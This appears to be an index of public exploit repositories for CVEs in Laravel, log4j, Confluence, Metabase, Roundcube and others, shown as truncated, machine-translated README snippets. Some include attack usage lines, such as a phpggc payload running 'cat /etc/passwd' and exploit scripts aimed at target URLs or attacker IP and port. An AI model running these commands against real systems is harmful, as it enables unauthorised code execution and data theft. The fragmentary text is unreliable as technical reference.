exploit_laravel_cve-2018-15133

ثغرة Laravel لـ CVE-2018-15133 يستغل هذا الكود CVE-2018-15133 وهو مبني على برهان المفهوم لـ kosmiz و استغلال Metasploit لهذه الثغرة. لقد قمت بهذا بشكل أساسي لجهاز في Hack The Box، لأنني لم أرغب في استخدام Metasploit في تلك اللحظة وكذريعة لتعلم Python. من وصف CVE: في إطار Laravel حتى الإصدار 5.5.4...

CVE-2021-43503

चेतावनी यह भेद्यता रद्द कर दी गई है। अधिलिखित यह CVE-2021-43503 के बारे में है, मैं exp के माध्यम से इस भेद्यता को दोहरा नहीं सकता। आवश्यकता PHP 7.1. Composer registrar=$b; namespace Illuminate\Queue\Capsule class Manager protected $manager; public function construct$c $this-manager-method=$c;...

CVE-2021-44228-demo

log4j-shell-poc إثبات مفهوم لثغرة CVE-2021-44228 المكتشفة مؤخرًا. مؤخرًا ظهرت ثغرة جديدة في log4j، وهي مكتبة تسجيل بلغة Java تُستخدم على نطاق واسع في تطبيقات مثل Elasticsearch وMinecraft وغيرها الكثير. يحتوي هذا المستودع على تطبيق هشّ كمثال واستغلال إثبات مفهوم POC له. إثبات المفهوم POC كإثبات...

CVE-2016-2098

CVE-2016-2098 Ruby-on-Rails में उपयोगकर्ता द्वारा प्रदान किए गए डेटा पर render का उपयोग करते समय दूरस्थ कोड निष्पादन की भेद्यता। व्याख्या: यह समस्या उपयोगकर्ता द्वारा प्रदान किए गए डेटा पर render विधि के उपयोग से उत्पन्न होती है। render विधि आमतौर पर किसी टेम्पलेट से पेज प्रस्तुत करने के लिए उपयो...

CVE-2022-26134

CVE-2022-26134 ATLASSIAN-Confluence RCE स्थापना git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt उपयोग एकल URL pocsuite -r ../CVE-2022-26134.py -u url --verify बैच URL pocsuite -r ../CVE-2022-26134.py -f url.txt --verify अस्वीकरण🧐 यह उपक...

RCE_CVE-2024-7954

RCECVE-2024-7954 विवरण: SPIP द्वारा 4.30-alpha2, 4.2.13, और 4.1.16 से पहले उपयोग किया गया porteplume प्लगइन एक मनमाना कोड निष्पादन भेद्यता के लिए असुरक्षित है। एक दूरस्थ और अप्रमाणित हमलावर एक क्राफ्टेड HTTP अनुरोध भेजकर SPIP उपयोगकर्ता के रूप में मनमाना PHP निष्पादित कर सकता है। गंभीर शोषण: POST...

CVE-2023-38646

CVE-2023-38646 أدوات آلية لاستغلال ثغرة RCE في Metabase والمعروفة باسم CVE-2023-38646. اقرأ https://secry.me/explore/news/metabase-rce-cve-2023-38646/ لمزيد من المعلومات POC، Dork كيفية استخدام single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl...

CVE-2021-3129

CVE-2021-3129 कस्टम कमांड के लिए phar पैकेज उत्पन्न करें: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a php कमांड लाइन वातावरण में प्रवेश करें $fp = fopen'php://output', 'w'; streamfilterappend$fp,...

CVE-2025-30065

💥 CVE-2025-30065 - Parquet Deserialization PoC यह प्रोजेक्ट Apache Parquet और Java डिसीरियलाइज़ेशन का उपयोग करते हुए CVE-2025-30065 के लिए एक सुरक्षित प्रूफ-ऑफ-कॉन्सेप्ट प्रदर्शित करता है। जब एक Parquet फ़ाइल जिसमें एक सीरियलाइज़्ड Java ऑब्जेक्ट है, पढ़ी जाती है, तो पेलोड कोड निष्पादन साबित करने ...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 مثال:...

CVE-2023-3519

CVE-2023-3519 لأنه يمكنك تشغيل powershell على حاسوب أمك دون أن تضطر لتثبيت NMAP أو PYTHON أو إخبار أي شخص بأنك تستخدم ARCH! ; x...

CVE-2019-15858

CVE-2019-15858 تنفيذ رمز عن بُعد بدون مصادقة في Woody Ad Snippets PoC اكتُشفت الثغرات بواسطة nintechnet ، وصدر الاستغلال بواسطة GeneralEG وX-Vector يمكن أن تؤدي ثغرة استيراد خيارات بدون مصادقة، بالإضافة إلى ثغرة XSS مخزّنة، إلى تنفيذ رمز عن بُعد في إضافة Woody Ad Snippets الخاصة بـ WordPress أكثر...

CVE-2026-Pending-Claude-Desktop-RCE

このリポジトリには README がありません。...

CVE-2023-37941

सुपरसेट के डिफ़ॉल्ट कैश में पिकल RCE का शोषण जानकारी लेखक Dinis Cruz परियोजना Superset विवरण Apache का Superset कैशिंग के लिए विभिन्न विकल्प प्रस्तुत करता है, ये सभी Flask-Caching पर आधारित हैं। एक अंतर्निहित कैश प्रदान किया जाता है जो बाद में पुनर्प्राप्ति के लिए मानों को क्रमबद्ध serialize करता...

Xibo-CMS-Zip-Slip-RCE-Exploit-CVE-2023-33177

Exploit RCE Zip Slip Xibo CMS CVE-2023-33177 Cet exploit démontre une vulnérabilité de traversée de chemin dans Xibo CMS CVE-2023-33177 permettant l'exécution de code à distance via l'importation malveillante de layouts. Détails de la vulnérabilité CVE/Avis : CVE-2023-33177 Versions affectées :...

CVE-2024-24590

CVE-2024-24590 अविश्वसनीय डेटा का डिसीरियलाइज़ेशन एलिग्रो एआई के ClearML प्लेटफ़ॉर्म के क्लाइंट SDK के संस्करण 0.17.0 से 1.14.2 में हो सकता है, जिससे दुर्भावनापूर्ण रूप से अपलोड किया गया आर्टिफैक्ट किसी अंतिम उपयोगकर्ता के सिस्टम पर इंटरैक्ट करने पर मनमाना कोड चला सकता है। उपयोग 1. दिए गए...

BotCon

بوتكون ثغرة تنفيذ تعليمات برمجية عن بعد غير مصادق عليها في أطلاسيان كونفلونس عبر حقن OGNL CVE-2022-26134 في 2 يونيو 2022، أصدرت أطلاسيان نشرة أمنية لتطبيقات Confluence Server وConfluence Center، مسلطة الضوء على ثغرة خطيرة جداً تسمح بتنفيذ تعليمات برمجية عن بعد بدون مصادقة. تسمح ثغرة حقن OGNL...

CVE-2025-24016

CVE-2025-24016 Wazuh सर्वरों में एक असुरक्षित deserialization कमजोरी है, जो DAPI अनुरोधों/प्रतिक्रियाओं में अस्वच्छित शब्दकोश अंतःक्षेपण के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है। यह समस्या उस तरीके से उत्पन्न होती है जिसमें DistributedAPI पैरामीटर JSON के रूप में क्रमबद्ध होते हैं और फि...

Roundcube-CVE-2025-49113

राउंडक्यूब RCE एक्सप्लॉइट CVE-2025-49113 CVE-2025-49113 के लिए एक पूरी तरह से कार्यात्मक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट 🧠 सारांश CVE-2025-49113 एक कमजोरी एप्लिकेशन के सत्र पार्सर में एक तार्किक दोष का परिणाम है, जो PHP ऑब्जेक्ट्स के असुरक्षित डिसीरियलाइज़ेशन की अनुमति देता है। प्रमाणित उपयोगकर्ता ...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE استغلال CVE-2024-2961 و CVE-2023–26326 لتحقيق RCE الاستخدام git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port التحليل والتفاصيل الفنية اطل...